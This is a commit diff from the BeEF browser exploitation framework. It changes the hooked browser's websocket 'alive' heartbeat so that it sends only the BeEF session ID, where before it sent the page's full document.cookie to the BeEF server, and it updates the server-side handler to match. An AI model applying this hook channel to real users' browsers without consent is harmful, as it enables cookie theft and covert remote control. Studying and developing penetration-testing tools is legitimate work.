Fixed issue when hooking a browser that contains other cookies than BEEFHOOK. now "alive" send back only the BeEF session value
This commit is contained in:
@@ -60,13 +60,14 @@ beef.websocket = {
|
||||
console.log("Sent [" + data + "]");
|
||||
},
|
||||
|
||||
//todo antisnatchor: we need to get only the BEEFHOOK cookie value, not every cookie.
|
||||
//todo in this way it will be easier to parse it server side.
|
||||
alive: function (){
|
||||
beef.websocket.send('{"alive":"'+document.cookie+'"}');
|
||||
beef.websocket.send('{"alive":"'+beef.session.get_hook_session_id()+'"}');
|
||||
console.log("sent alive");
|
||||
setTimeout("beef.websocket.alive()", beef.websocket.alive_timer);
|
||||
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
beef.regCmp('beef.websocket');
|
||||
@@ -27,10 +27,10 @@ module BeEF
|
||||
MOUNTS = BeEF::Core::Server.instance.mounts
|
||||
@@activeSocket= Hash.new #empty at begin
|
||||
@@lastalive= Hash.new
|
||||
@@config = BeEF::Core::Configuration.instance
|
||||
def initialize
|
||||
config = BeEF::Core::Configuration.instance
|
||||
port = config.get("beef.http.websocket.port")
|
||||
secure = config.get("beef.http.websocket.secure")
|
||||
port = @@config.get("beef.http.websocket.port")
|
||||
secure = @@config.get("beef.http.websocket.secure")
|
||||
#todo antisnatchor: start websocket secure if beef.http.websocket.secure == true
|
||||
server = WebSocketServer.new :accepted_domains => "127.0.0.1",
|
||||
:port => port
|
||||
@@ -54,7 +54,7 @@ module BeEF
|
||||
print_debug("In activesocket we have #{@@activeSocket}")
|
||||
elsif messageHash["alive"] != nil
|
||||
#@todo browser could be not in bd so we have to add it
|
||||
hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => messageHash["alive"].gsub("BEEFHOOK=",""))
|
||||
hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => messageHash["alive"])
|
||||
hooked_browser.lastseen = Time.new.to_i
|
||||
hooked_browser.count!
|
||||
hooked_browser.save
|
||||
|
||||
Reference in New Issue
Block a user